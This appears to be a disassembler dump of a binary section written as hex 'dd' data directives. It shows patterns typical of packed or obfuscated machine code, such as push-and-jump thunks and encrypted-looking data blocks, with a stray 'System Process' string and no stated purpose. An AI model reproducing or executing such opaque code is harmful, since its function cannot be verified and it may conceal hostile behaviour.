56006A50h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0E130731Ah, 0A8E0Fh, 5E90000h, 0A5000000h, 4104BC42h dd 4E8h, 9CDC5600h, 0A5BF6097h, 60224C1Fh, 140D3FBBh, 0C88B6665h dd 0E9506161h, 0Ch, 7E0EA353h, 0E959AFC8h, 31B5AB1Bh, 424448Bh dd 7E860h, 54BC0000h, 0E14682C6h, 66525FEFh, 615AC28Bh dd 850F008Bh, 0Bh, 6E9h, 5DC38C00h, 89A32B77h, 0F042444h dd 198Bh, 13850F00h, 0E9000000h, 0Eh, 6D2025D0h, 9780F8Ch dd 0C59BF55Dh, 0F5589D87h, 2F01B5FFh, 8DF807E0h, 0E039F885h dd 12E907h, 1EF60000h, 971BF5DDh, 0C2D9B9Dh, 17167FBDh dd 296725A1h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 773C44C3h, 398589F9h, 6007E02Bh dd 81C8BF0Fh, 0F0D3ED2h, 80606146h, 0CE98ADEh, 82000000h dd 1BB3AC7Dh, 0B3928BA5h, 61A169A1h, 156E9h, 8A0FF900h dd 1, 506050FCh, 0BE9h, 615BA800h, 0BBF2A698h, 400D5BC4h dd 615F535Bh, 0E9242C89h, 8, 9BA1F543h, 11A84CD1h, 0EE9EC8Bh dd 0FE000000h, 3A747h, 9974702Fh, 0F4B48549h, 0FCC4833Ch dd 0DE9h, 0C03B5500h, 28939761h, 4690456Ch, 6A605607h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 4A41C356h, 0E8EA8Dh, 5A000000h, 9E93EA81h dd 45C707E5h, 0FCh, 0B5BA8300h, 107E023h, 98840Fh, 6A520000h dd 0FF0F6A00h, 0E02C6992h, 82895A07h, 7E5994Ah, 994E9A8Dh dd 0C75207E5h, 12803h, 0FF505300h, 0E0060D92h, 8D525A07h dd 0E5994E9Ah, 0B2FF5307h, 7E5994Ah, 2B3992FFh, 0B5A07E0h dd 8D5074C0h, 0E5994E9Ah, 247B8D07h, 0F981C933h, 104h dd 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h dd 7E00911h, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 911828Dh dd 0FF5007E0h, 0E0237D92h, 0C00B5A07h, 45C7A075h, 1FCh dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 0F600008h dd 482h, 13B96600h, 613FB7E8h, 9860Fh, 81600000h, 5DF5F9EBh dd 8B61F52Eh, 6E8D2h, 0ACC0000h, 159D4132h, 2CE27BB9h dd 81F95E1Dh, 6EFAC6h, 0DCE58000h, 1B8F68h, 14E900h, 93E30000h dd 46C84F54h, 0CDC1438Fh, 0E5416A08h, 263B8311h, 52584F3Dh dd 3800Fh, 8B660000h, 36FF5AF9h, 5BCBBF0Fh, 18A0Fh, 81F80000h dd 0FC9582EBh, 1890F12h, 0FC000000h, 9DE2F381h, 82B671C7h dd 1A85F381h, 53FC5119h, 0CE9h, 0D9BA9900h, 0CEE215F8h dd 0BBF57D75h, 0E8068FD1h, 0Dh, 120F4648h, 30E94C40h, 0FA667947h dd 5A6FB1E8h, 0E903EE83h, 5, 43EEF723h, 0E8834E96h, 97850F01h dd 0E9FFFFFFh, 14h, 12A63857h, 0F30C3B51h, 61B2BC50h, 0E2065AD1h dd 8DCFA161h, 0A0D28D8Dh, 9D2907E5h, 7E000E5h, 3231BD29h dd 8D8907E0h, 7E01815h, 6E9h, 37C85600h, 0C7165647h, 0E0204985h dd 586807h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 58BED968h, 0DF1B589h, 85C707E0h dd 7E022C5h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 7DC35343h dd 85DB5FFh, 8E807E0h, 20000000h, 5EF6ED3Bh, 66BA1F74h dd 0FC5BDA8Bh, 209195FFh, 6AF907E0h, 0A995FF00h, 8B07E018h dd 791FEBC0h, 0C38D6D53h, 293EF9ACh, 9993F6D8h, 6A3016AEh dd 0CB5E3799h, 0DF0297DAh, 99E87CAEh, 2EE92F25h, 0F3000000h dd 15AF85h, 0Ah dup(0) dd 0B49E900h, 99680000h, 0E907E5A2h, 0FFFBA717h, 0E5A3B568h dd 0A70DE907h, 6168FFFBh, 0E907E5A5h, 0FFFBA703h, 0E5A65868h dd 0A6F9E907h, 0B668FFFBh, 0E907E5A8h, 0FFFBA6EFh, 0E5AA0668h dd 0A6E5E907h, 0F968FFFBh, 0E907E5AAh, 0FFFBA6DBh, 0AA8125A5h dd 380FA92Eh, 0C2993BBCh, 5128C046h, 0E1B84ED5h, 0BC430BD8h dd 50D34F26h, 0DD5FDBB2h, 66EA663Dh, 0F74EF3CAh, 28044B31h dd 51DA5F63h, 0C311AD31h, 4017B337h, 0BB3D1DA4h, 9730191Bh dd 8BC780E8h, 64EB9756h, 827F80CEh, 76FCA853h, 5E97E1DEh dd 1A632347h, 0C046F2B1h, 0C76D2B28h, 63233DDDh, 56074E48h dd 0C437C901h, 3597h, 86329E00h, 1A1B69FFh, 0F1F4CD1Dh dd 65476C32h, 88346322h, 191A6804h, 0DB29921Ch, 22644B35h dd 0E9BCB663h, 3717A3B8h, 0CAF9C4h, 56020000h, 0E7E836D2h dd 0AD31B9EAh, 2E630586h, 37CD54E0h, 1F9B8A78h, 2A68991Bh dd 0F6E46F2Dh, 0A6827048h, 0C0F0ED6Eh, 0C652A03Ch, 39CFA642h dd 5B42BA34h, 0D476F7A3h, 8723A7D7h, 14B034B0h, 3EA71AC6h dd 0D9C4B97Fh, 4FB86322h, 0CA51FD78h, 25E5E634h, 0B50502A4h dd 541AD90Ch, 6B0595CCh, 0D07C3BA4h, 6F4B349h, 0FA87652Fh dd 0BF060389h, 1A9BBC43h, 69292A78h, 0FDFE4CE2h, 5A62BEC8h dd 7F5972A3h, 931E1h, 0A64ACA00h, 34CE53CFh, 0BE60E15Dh dd 4DE56BE7h, 0DD73FA76h, 68E6FD06h, 0F8744BE1h, 8400D775h dd 0F8B6202h, 7318EF8Bh, 570561Ch, 78C6328h, 14AA317Eh dd 0A13DC13Dh, 0DEA44FCAh, 5B4262F8h, 7DAEAB14h, 7635B011h dd 5DAB45CAh, 0EF3CB78Fh, 7CB1AC8Ch, 658A507Fh, 0F7632275h dd 9B5408Eh, 0A3EDEA84h, 632274B9h, 0BE0CAE2Fh, 186AF32h dd 0E3181967h, 5E440A95h, 72632274h, 0C194EE09h, 2C77713Ch dd 3707587Dh, 0D9BEC4h, 31C50000h, 37C311ADh, 0AF5B1AB0h dd 703E8C2Eh, 0B8D7AE8Fh, 8B88BDDEh, 0AA2227CDh, 14985B42h dd 0A94228EEh, 0F55E5B42h, 0D35501C0h, 73EF3633h, 590553EFh dd 13BE7D68h, 0A9BCA268h, 0B2E85B42h, 7F7C0C1Eh, 7046D87h dd 2382C8BDh, 845BC463h, 4D0CD9E8h, 41F6DCA2h, 0C0226323h dd 3FBF0A85h, 4441AAC4h, 0C9B64F15h, 69D26B05h, 5339FFAAh dd 675B4477h, 26D201FEh, 0B632099Fh, 901DCC2Fh, 0A3B71699h dd 7B12646Eh, 4F2972A3h, 815B1h, 0C266E600h, 50EA6FEBh dd 0DA7CFD79h, 69018703h, 0F98F1692h, 84CA1922h, 149067FDh dd 0A01CF391h, 2BA77E1Eh, 8F340BA7h, 68C7238h, 1BA06328h dd 14AA3192h, 0A13DC13Dh, 1CA34FCAh, 0A6DB77FBh, 0FF938A58h dd 0B8A33B13h, 31558683h, 37C311ADh, 0A44017B3h, 5E09C81Dh dd 0B8922EB2h, 5B4262D2h, 598885EEh, 22914A93h, 6FBD2663h dd 0ECC35FE3h, 0ECC48371h, 6B120804h, 1EBA3E6Eh, 8EEB45Fh dd 246322F9h, 0DA78FBBBh, 0B9791FDDh, 2FF6A71Ch, 0DCC288A8h dd 0F0EFA717h, 78045287h, 770856F6h, 231F2271h, 0DB9C68Dh dd 0A1A2F086h, 54F074A4h, 0E17D017Dh, 1804ED93h, 0C51FEFA7h dd 8046F1FEh, 0EFA7189Ah, 0A0EE8E10h, 864F859Fh, 886222BEh dd 0F97C3C71h, 0F0C0D5Bh, 0E8BF5BDFh, 0FE4CE86Ch, 0A68F6958h dd 276E74EFh, 0A0771397h, 0B604A024h, 6F2EB70Ah, 0BE47CCA9h dd 0A077E0CEh, 6928BD04h, 9E3B6AA3h, 6FBD26CFh, 1BB138E4h dd 39EBD41Eh, 0C154C6DEh, 0AAF88E15h, 4F16ACA9h, 4CC5391Eh dd 4465FA8h, 32660000h, 62DBC187h, 86EF5B42h, 66D9DC89h dd 5CB8A5Bh, 63226A74h, 3CE8A710h, 0CCCD1BB9h, 512BCFh dd 673FF23Ch, 9E9B37BBh, 0B372734Eh, 525120EDh, 75C32C3Eh dd 2EEDF8C9h, 0F26B7668h, 0FCC26D3Fh, 36725A16h, 3AC4C12Ah dd 47FAFF04h, 5E93F5EAh, 1806F49Fh, 290FD58Ah, 45367175h dd 79BFDADCh, 1397C7C4h, 604127EDh, 695D3672h, 0E1164BE3h dd 5DE38F0Ah, 1498C8C5h, 0B85E6E78h, 936DA98Eh, 669F5h dd 6E129200h, 0FC961B97h, 8628A925h, 15AD33AFh, 0A53BC23Eh dd 301EC5CEh, 0C03C13A9h, 4CC89F3Dh, 0D7532ACAh, 3BE0B753h dd 8381EE4h, 0CF546328h, 3863246h, 0C68C1765h, 5B4262E0h dd 615E93FCh, 0C311AD31h, 589B637h, 5B1A1B69h, 4263AF95h dd 2D62CB5Bh, 17FDC36Eh, 335B4263h, 0F886CDCAh, 0C4h, 3AB51173h dd 0AC7C8D7Bh, 0CEF2A5B4h, 0A86DAED1h, 9625706Eh, 8A152CA8h dd 0B1AE2D49h, 0D7827B60h, 4DA1C3h, 11A80000h, 0B57B3AB5h dd 5B4262CCh, 0A5317FE8h, 0D8C68521h, 8DD65298h, 4E959202h dd 64B24ED2h, 1DDC09B8h, 23258A57h, 0CF1D8663h, 46773E38h dd 0C437BE11h, 1687h, 87328E00h, 4262DBC1h, 74FBEF5Bh dd 5A8F90DEh, 0C91B5Dh, 32960000h, 17650386h, 37D15616h dd 0ED7EA3Ah, 9840894Fh, 0B31C6322h, 41711DA9h, 0B2502A75h dd 572h, 8E650989h, 1CF38D12h, 0A67D1FA0h, 350CA42Ah, 0C59C32B9h dd 0A02727BCh, 34B7330Ah, 0C143BF96h, 4ACE4A21h, 0DB32D7AEh dd 28092F15h, 3DC64B63h, 873AB511h, 7A780046h, 165D7A2Bh dd 50BBC3D7h, 0C2000000h, 65038632h, 41AE1868h, 7DF74D8Eh dd 5085347Fh, 0C6C3D716h, 37h, 0AFB511CDh, 40418F2Bh, 0E995580Bh dd 20CDCA64h, 582B29FDh, 426B4D30h, 9C3ABD5Bh, 6EBC58DCh dd 357386Dh, 0F2C3D71Ah, 179EBF46h, 0FD323381h, 0FEDB7800h dd 117FFFFFh, 46873AB5h, 2514FD7h, 0D7160653h, 22294C3h dd 319B0000h, 0E20289AAh, 4263361Ch, 0ACE14A5Bh, 0F39E2977h dd 4263472Dh, 0FDFA635Bh, 61AF47CDh, 22B00399h, 0B22E059Bh dd 9B47952Bh, 1200BF26h, 0EBB120BCh, 5B42E705h, 8FAEB019h dd 9F65245Bh, 5B432AB9h, 406F6CD5h, 232EBD7Ah, 0A766CF63h dd 8D5375FBh, 632326A7h, 28255AC3h, 0A1F4BA6Ah, 0BBA16712h dd 0CF632326h, 0B2396966h, 11AF954Fh, 2D62AA15h, 3353DA56h dd 2299876Dh, 0CF2BBB63h, 352B90ABh, 2F7DB21Bh, 23179F89h dd 1560BA63h, 9168FE85h, 39F88E15h, 14E2C88Eh, 0C8FE6323h dd 2D1D6DA1h, 807DB26Eh, 58B37C2h, 211E1F6Dh, 36F5F0D1h dd 2AA0770h, 0BD17C6Bh, 5B428925h, 26C04539h, 16AF4F1h dd 0B2338E2Ah, 9B502DF3h, 0F35C6322h, 9719FFA5h, 98F6322h dd 12972371h, 0B47A2A78h, 0E7415CE1h, 12D3EE9Ch, 0A9B08D53h dd 53BC6B02h, 0E07C007Ch, 0E6820692h, 974E730Fh, 5D87EAD8h dd 31232CDFh, 63F0534h, 5D6322F0h, 0E306ECB2h, 0B11A6322h dd 73C12AB4h, 22E2E3CDh, 1544E63h, 37920B50h, 4091C4h dd 11980000h, 0B07635B0h, 6322648Bh, 48EE3CA5h, 6322645Eh dd 66B450D4h, 6BB957DAh, 38460DA3h, 0C8C917B5h, 87CEC893h dd 371781D6h, 40C470C4h, 965556A4h, 226FEAD0h, 0A09D0663h dd 8618h, 0AD311F00h, 0B037C311h, 0BC40CC1Ah, 0C246D220h dd 0B4B94F26h, 225B4267h, 9843029Eh, 4266ECD2h, 9A97005Bh dd 0DB0AB753h, 213B561Ch, 0EC556325h, 11D7822Dh, 6325202Bh dd 0A9D9D63Fh, 39B58C22h, 0AE121CB2h, 9D7543F8h, 31425C3h dd 67E70000h, 0EB70ECC3h, 7DFE7A51h, 28804DBh, 9017936Ah dd 0C91A23FAh, 9168FE85h, 1DF49215h, 0A87F1FA1h, 350CA82Ch dd 8D733990h, 0A163280Bh, 0AA31931Ch, 3DC13D14h, 324DCAA1h dd 62DBC187h, 86EF5B42h, 39D55989h, 497260EBh, 0CB87A176h dd 33D6BC82h, 81EA5B43h, 6F058C4Ch, 22BE4272h, 5F25D04Bh dd 5B433479h, 0FE2F2C95h, 0C311AD31h, 4017B337h dd 6E541AC5h, 825B4263h, 0F5CC1C19h, 0F442E465h, 39FFBEF3h dd 63226A00h, 9F4593FCh, 632269B5h, 2E5F2620h, 0C4371429h dd 416Fh, 0B0117600h, 20CB7635h, 4263745Ah, 91A3A05Bh dd 0AE23856Bh, 9F292B94h, 41FC5758h, 95BA0401h, 0A7632311h dd 7765F03Eh, 64FD1AC1h, 72BCB9CCh, 63229388h, 0FBAAF9F3h dd 0C43726DEh, 0B83Ch, 0AD314300h, 0B037C311h, 2EAF5B1Ah dd 403D3E8Ch, 0D672F682h, 867F2917h, 57BB4E37h, 8C109C5Ah dd 7E8319F0h, 6D5B434Bh, 31DFF57Fh, 3FFF9E7Ah, 0F2221FBBh dd 7FFBD26Eh, 65115FFBh, 4CA895Ch, 632288B3h, 0C15D349Dh dd 6026E500h, 6B05413Fh, 314D1349h, 1D8F4D9h, 0DA610DCCh dd 6C184744h, 0FC784FE5h, 0C5D5DF75h, 0F272A301h, 1C47A18h dd 0B7370000h, 3BC03C13h, 0CD4ECAA1h, 52D8542Bh, 0E067E3BAh dd 796A734Ah, 0E1B84ED5h, 6D44E265h, 0F8CF6FF1h, 855CF87Ch dd 0DDC389E0h, 0F163280Ch, 0AA31E36Ch, 27A95514h, 3B383987h dd 8BF478F4h, 0CDF156B5h, 0DEB5EA45h, 35B01161h, 648BB076h dd 0B1A56322h, 0C5A8F2Fh, 22647C66h, 0D26EF263h, 0D577F884h dd 0A6F49215h, 0F87D48DEh, 93AC9A2Dh, 70635370h, 367D1310h dd 376A5287h, 0EE7521C4h, 0C090A58h, 0B584h, 87328B00h dd 4262DBC1h, 8986EF5Bh, 0EB39D559h, 0B41B7260h, 0E4F49F8Bh dd 9A30B7E7h, 0DFA1A64Ch, 91155B42h, 1EA21EF5h, 39883482h dd 0D627EDACh, 4D632302h, 34821CA1h, 43AC3633h, 0C345F16Ch dd 0C649D523h, 0A6F6F328h, 450BCA1Bh, 6B057BC5h, 0CE7938A1h dd 0B6049C22h, 188B8B5h, 9118946Bh, 0A3F3F1FBh, 0EEC872A3h dd 0D150h, 6AA2A00h, 942EB32Fh, 1EC041BDh, 0AD45CB47h dd 3DD35AD6h, 0C8865D66h, 58D4AB41h, 0E46037D5h, 6FEBC262h dd 0D3784FEBh, 0CD0B67Ch, 67EC6328h, 89AA31DEh, 361CE202h dd 4A5B4263h, 5D5EACE1h, 4A7F179Dh, 0D773F773h, 0AD318300h dd 58D90486h, 323381B6h, 7924AFFDh, 4262CDB3h, 7B78E15Bh dd 0DBA1C74Bh, 5B4262F5h, 946BA009h, 0E692C9F8h, 7576C464h dd 4263B59Bh, 0A2235Bh, 3ABD7DE6h, 0E2A8679Ch, 632803F3h dd 5AE6349Dh, 0E7633AD6h, 0D379C763h, 75722C38h, 0E5F5C056h dd 1DB33A61h, 119511E8h, 97CC64EAh, 9F37BD49h, 88DBA151h dd 3DA76FAh, 17DD0387h, 70F1EC31h, 61AFE44Dh, 0DC3h, 0B7023E00h dd 6360460Ch, 137C5B42h, 0B131E516h, 0AF33BF0Dh, 0B739C513h dd 0BA3DC917h, 0BB42CE1Ch, 0C44BD725h, 0CE54E02Eh, 0DB5CE836h dd 0DA5FEB39h, 5763F240h, 0C781E789h, 4, 8704EF83h, 895C243Ch dd 89532404h, 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 241C895Ch dd 76DC6850h, 48B0DC8h, 4C48324h, 0E2D5682Dh, 58C58905h dd 4EC81h, 24890000h, 24048324h, 0EC815B04h, 4, 8F242C89h dd 1C8B0843h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h dd 2434FF5Ch, 4C4835Dh, 0FB9BDAE9h, 0B843D2FFh, 7E5ABEFh dd 0E0FFC503h, 4AC21D3Ch, 6661C6ABh, 759A1E44h, 1C6A9C19h dd 0D202BCFh, 51E43375h, 346BBCC4h, 5CC5E8EDh, 1CF7999h dd 4F9ED4B0h, 5F5A1059h, 0EA5A004h, 67E6498Ch, 46BF4914h dd 3DB58A7Fh, 18AE9h, 44B47300h, 0E86A7C0Dh, 144ED284h dd 0C95A904Ch, 0C254AB0Bh, 0C154B052h, 0CA5AB70Bh, 0E1738D52h dd 0B326873Bh, 48728852h, 4CC62CD0h, 0F4B4BC9Ch, 85161752h dd 12852h, 0 dd 400h, 2 dup(0) dd 2F00h, 0 dd 800h, 0 dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 47h dup(0) dd 0E9000000h, 1687h, 0E5B01568h, 99F5E907h, 2968FFFBh dd 0E907E5B1h, 0FFFB99EBh, 0E5B22868h, 99E1E907h, 0F768FFFBh dd 0E907E5B2h, 0FFFB99D7h, 0E5B4AF68h, 99CDE907h, 0D468FFFBh dd 0E907E5B5h, 0FFFB99C3h, 0E5B69668h, 99B9E907h, 5C68FFFBh dd 0E907E5B7h, 0FFFB99AFh, 0E5B95A68h, 99A5E907h, 3668FFFBh dd 0E907E5BAh, 0FFFB999Bh, 0E5BAE968h, 9991E907h, 6468FFFBh dd 0E907E5BBh, 0FFFB9987h, 0E5BCCF68h, 997DE907h, 3B68FFFBh dd 0E907E5C2h, 0FFFB9973h, 0E5C36968h, 9969E907h, 9717FFFBh dd 1BA01CF3h, 0AD2EAA81h, 32B8340Bh, 0C047C39Ah, 994A532Ah dd 0C1982EB5h, 4D24C245h, 0D8AF4FD1h, 653CD85Ch, 0BDA369C0h dd 0D1632811h, 0AD31C34Ch, 0B337C311h, 1DA44017h, 0D85D09C8h dd 4C12413Eh, 63226A13h, 0AB3684EDh, 8C527EFFh, 632269A6h dd 1F1C51BAh, 2268EBD5h, 0B9DA6163h, 19679C32h, 1DE3098Dh dd 63226937h, 67B5EA53h, 70F5C0E6h, 0A9D8ABA5h, 0C43714ACh dd 3FEAh, 0B011F100h, 3D8B25AAh, 8248073Ch, 6322655Dh dd 923886EFh, 632264A8h, 0B301971Eh, 0BC0AA027h, 25287BD5h dd 8615605Ah, 46198898h, 0D6D380ACh, 370A5085h, 0DAC6C4h dd 23CF0000h, 0D607049Eh, 0C311AD31h, 88FB037h, 0EE232472h dd 0A46A15A0h, 5B4263BEh, 3C6C69D2h, 42CE1CB8h, 0B54B22BEh dd 5B426796h, 15EC880Ch, 0D167EE9Ah, 55858283h, 3BE735D1h dd 0B74DD486h, 8FDC382h, 84632288h, 0BC6E5C1Bh, 2AEDF6FCh dd 52EE3532h, 0F1B7766Fh, 6B05AD69h, 31DD9C05h, 0C5C614AAh dd 66ED99C8h, 0F67DF9D0h, 78745660h, 694372A3h, 1427CBh dd 22C64600h, 0B04ACF4Bh, 3ADC5DD9h, 0C961E763h, 59EF76F2h dd 0E46A7982h, 74F0C75Dh, 7C53F1h, 8B07DE7Eh, 0EF946B07h dd 12ECD298h, 7B006328h, 14AA31F2h, 8925A955h, 1ECA458Ch dd 763CFB9Dh, 5B426390h, 164643ACh, 0FBC16C92h, 5B426315h dd 0E6C029h, 765B4263h, 50654F4h, 3DC282EBh, 1A976EA3h dd 7635B011h, 759A1FCBh, 50654F2h, 6489D3D0h, 0F8632265h dd 0B19B418Fh, 1C632264h, 0BB5BDD89h, 0D96F6C6Dh, 17FEDB8Ah dd 0E01CC437h, 23000000h, 0C311AD31h, 0CC1AB037h, 75119541h dd 0DF292627h, 5B4267C0h, 56F47723h, 9A52959h, 0C32B632h dd 42676046h, 0DE137C5Bh, 0F0170590h, 0A3D62885h, 3190E0DDh dd 9E4AF5B4h, 2E2F7D1Bh, 9CF2E731h, 258E6322h, 0D60FB24Eh dd 3CC06C17h, 545152A0h, 555710Ah, 7478666Bh, 0D56FF4C3h dd 0B34BC2D3h, 4C32CB6h, 2EB0D158h, 0DB3F8C8Eh, 74C22F77h dd 65EC683Fh, 6FEFC5CFh, 2DC72A3h, 131364h, 36DA5A00h dd 0C45EE35Fh, 4EF071EDh, 0DD75FB77h, 6D038A06h, 0F8568D96h dd 8804DB71h, 14906705h, 9F1BF292h, 3A87F1Bh, 1400E6ACh dd 971C6328h, 14AA310Eh, 0FE25A955h, 58A6DB7Dh, 98135A57h dd 71DA39AAh, 0C2BF4DBAh, 0FAE80E92h, 20E9B671h, 654B251Dh dd 795B42E3h, 32CA5010h, 32A926FDh, 27619F44h, 0ACA98024h dd 0E5CF87Ch, 8B62FE82h, 45DF6410h, 0F5971848h, 2E971BA7h dd 0DAC60BECh, 956CA1FFh, 0AF12059Ch, 38FE2AABh, 5B430652h dd 82D0056Eh, 0B005F6B4h, 0AFE48ACFh, 6410BB7Ah, 0F8F947DDh dd 9C20B1FBh, 382C6322h, 6A0A8CB5h, 98E61B1Ch, 542E6297h dd 5AACC96Bh, 0D55802BFh, 0DA5DE937h, 0B8EDEE3Ch, 39FEC483h dd 53538C7Bh, 65119CEAh, 0F74744E2h, 965C1BCAh, 5AAFF394h dd 0F4DAA04Bh, 84BABD1h, 0AF18A29Fh, 24C044F0h, 0B14DD14Dh dd 0C82533A7h, 902E0882h, 1214h, 5E35D959h, 0ECC35DE2h dd 764DEF70h, 5DC74FAh, 956C0289h, 70F7578Ch, 48703DAh dd 91138F66h, 1A9E1AF1h, 0AB02A77Eh, 2814FFE5h, 0D961B63h dd 0C311AD31h, 2CB0AA17h, 0D69C5B90h, 6322881Dh, 0C161E3D7h dd 663D7273h, 0BCA66EAh, 2EB3DC5Fh, 0A4625F94h, 0BBF2B19h dd 160D0DF7h, 0EDF8C919h, 0A063682Eh, 9FD6B08h, 3DD55B88h dd 6BB9EEEFh, 0CA76356Ah, 57D3AA46h, 3DE937D3h, 0DCA26184h dd 632D4BB7h, 0F5A160C9h, 5CC74A71h, 440B71CBh, 7A7CB18Eh dd 0C690D516h, 21F82DFEh, 4F35FBA6h, 6B632345h, 51D50502h dd 0C54AF6B5h, 0C4702E2Bh, 6329E8FDh, 6B036ABEh, 4E8C3F2Dh dd 9788FC44h, 9DA7109Ah, 72A15F03h, 45C05E38h, 28000011h dd 0B12D04A8h, 3FBB922Ch, 0C9451CBEh, 58D4AB43h, 5B643BD1h dd 0A93FC688h, 35D356D2h, 0C060E25Eh, 4DE96DE9h, 0B47AD176h dd 632814CEh, 31D45DE2h, 0A95514AAh, 3D3E8C22h, 645DF940h dd 88D672F6h, 0CD935287h, 63229084h, 8C38F760h, 0AE6C690Bh dd 43029E22h, 0F20CBA55h, 0D1CE38A9h, 0DD630F8Ah, 0F9F6F745h dd 9B1E45C9h, 79AEAFFDh, 63490FBAh, 7763235Fh, 0A753110Eh dd 610CCB1Ah, 5F450BB6h, 7B63235Fh, 5F523812h, 56E6323h dd 7ADDBE08h, 54426B03h, 760B799Bh, 0F8827F98h, 0CB91418Fh dd 0CA66EAF8h, 0C98A78F3h, 234D61FDh, 0A41D6D6Ah, 54D68241h dd 0C288B7B4h, 63231679h, 977D43EEh, 0B363230Eh, 5AC34D4Ah dd 2AD6810Ch, 4C320CA4h, 6063230Eh, 46CAFAF7h, 0FE945CAAh dd 0D03A28B7h, 2DC74C4Dh, 0D2DCDEDFh, 94E4E1E3h, 33F9B82Dh dd 6B0359EAh, 982EB561h, 0C24C494Ah, 82068259h, 8F298E6h dd 235B4357h, 42EDFAC9h, 92B9D54h, 1DBC9AEh, 5B43361Bh dd 99C9C62Fh, 27A27915h, 0CF9AD739h, 0C1DDAED1h, 2CB9097Eh dd 5C8C89BEh, 42EE3CD8h, 0E1A7667Fh, 63230474h, 0DFD8AF18h dd 964F72DFh, 911411D7h, 0EF586B08h, 0CF50FCBBh, 0E1DEDF2Dh dd 46942AB1h, 4790B6A0h, 63B50C5Bh, 4135C9F1h, 52114624h dd 2D986F8Ch, 29B05C63h, 190C9693h, 22876D53h, 0BA58DB63h dd 430237A0h, 0CB69EC98h, 462CF27Dh, 5A632287h, 8FBFBCF1h dd 1D986F0Bh, 86C6AC72h, 71DA6322h, 2536C96Fh, 403D2138h dd 0A2F08C10h, 0EFF98F16h, 7541CFE7h, 8D5CFAD4h, 0E000000Fh dd 69E5BC60h, 0F7734AE4h, 81FDD476h, 108C63FBh, 131CF389h dd 61F77ED0h, 0ED8B0E8Ah, 78189A16h, 5A125A1h, 6C32892Eh dd 63281786h, 318C159Ah, 0C23D14AAh, 0FAF79116h, 5A2046CAh dd 5B426374h, 9CEA1F88h, 31F08C10h, 62DAC086h, 8DF65B42h dd 91EBD290h, 9430B4C2h, 163B20BDh, 3B61C3D7h, 68000001h dd 0C311AD31h, 4017B337h, 9C81DA4h, 2744705Eh, 0C2C460E4h dd 0A7A400CFh, 22CE245Dh, 0B877E063h, 48286ECAh, 5A57B52Ch dd 8C0CF69Ch, 7D776322h, 3B528736h, 7521C437h, 50654F2h dd 949A8046h, 4DB66322h, 29C850h, 11CF0000h, 0B07635B0h dd 6322648Bh, 48EE3CA5h, 6322645Eh, 0D584CFC9h, 0C4371780h dd 9016h, 3B311F00h, 0D2D9AB15h, 31BCEDEAh, 37C311ADh dd 40CC1AB0h, 46D220BCh, 0D44F26C2h, 0C23C68E6h, 7E7BB21Ch dd 427D1534h, 55F1755Bh, 6DFE27Eh, 2E668147h, 57456325h dd 65D01E98h, 87110E5Fh, 2CB35F1Eh, 0BC43BF96h, 43781A9Bh dd 438F4339h, 9E7875h, 0E68h, 0AE18505h, 986F098Eh, 22F99B1Ch dd 0B18820A6h, 4118AE35h, 1CA3AB38h, 0B033AF86h, 3DBF3B12h dd 0C64AC69Dh, 57AE532Ah, 2818AB91h, 0B13ABF63h, 3D14AA31h dd 0CAA13DC1h, 11AD314Dh, 0C78D38C3h, 5B4262E1h, 0FD594FDh dd 5B426329h, 0AFDFDC45h, 0E67E042Bh, 0DA5EDAB1h, 50D37F3Eh dd 666364B2h, 20C5FCA8h, 982EB561h, 1D4C494Ah, 2277EE57h dd 0CAA10A63h dd 7213Ch, 0AA31B700h, 3620C614h, 8C5B4263h, 4A22535h dd 0C180B5B6h, 280FE6FBh, 32F15A63h, 8F660286h, 0BEE36814h dd 6F6CA137h, 0A795BB3Fh, 6147546Fh, 6A502AA4h, 8663277Bh dd 0E9AE81Dh, 1BE7F187h, 30754452h, 0DA6B856h, 47C70000h dd 0CB50CCA3h, 5DDE5A31h, 0E268E4BBh, 70F7734Ah, 0E9FA03DAh dd 7148DE65h, 0FDD472F5h, 885FFF81h, 15EC880Ch, 6D531970h dd 81632819h, 0AA3173FCh, 3DC13D14h, 43C753A1h, 6AFAE8A7h dd 0A135ECBEh, 5E932FB3h, 9017A361h, 9E20ACFAh, 0EFAFB0FEh dd 0F47FCD6Dh, 4268482Eh, 17FB645Bh, 0E4FF0251h, 27AB3B8Ah dd 0C217B48Bh, 58C3D713h, 1Ch, 0AF0B661h, 265B4274h, 178FC0BDh dd 5B426E22h, 0FDF67143h, 42EEFFFFh, 0F62724BCh, 63058632h dd 63321C66h, 0FDA95B42h, 9D1FDF77h, 11B000FDh, 424F15D4h dd 4E632810h, 0F67A26E5h, 8307835Ah, 439DB5Ch, 0DA32AB6h dd 44E61D03h, 0B2502A75h, 0CE0h, 92690D8Dh, 20F79116h dd 0AA8123A4h, 3910A82Eh, 0C9A036BDh, 0A42B23C0h, 38BB370Eh dd 0C547C39Ah, 4ED24E25h, 0DF36DBB2h, 281A3319h, 39C24763h dd 0C311AD31h, 0E1C78D38h, 0FD5B4262h, 290FD594h, 455B4263h dd 2BAFDFDCh, 5A418Fh, 5A125B5h, 1644912Eh, 17D2C3D7h dd 0D9000000h, 67018632h, 3C8A20A7h, 0FFF43E3Bh, 765B426Dh dd 0FFFD47A4h, 44321FFFh, 0DC96E610h, 96E6E36Ah, 50FBBA2Bh dd 3B423A4h, 0B0D6E398h, 63ADAADFh, 6322A62Ah, 12BE7DE6h dd 37F5F28Eh, 229DA891h, 4A191363h, 37283E1Bh, 1BC5CC4h dd 0B9650000h, 4C4D9B33h, 5D171E4Fh, 0FE5B4263h, 0F69216BEh dd 61CB4937h, 97655FEBh, 5006D2CAh, 8582B773h, 0A23EC23Eh dd 9E2CAE54h, 0A86E5B42h, 0AD49CDDDh, 169743EEh, 4B252674h dd 5B429E65h, 8B511079h, 5B429EA5h, 0C5350B9h, 0C660E591h dd 9F4E79C9h, 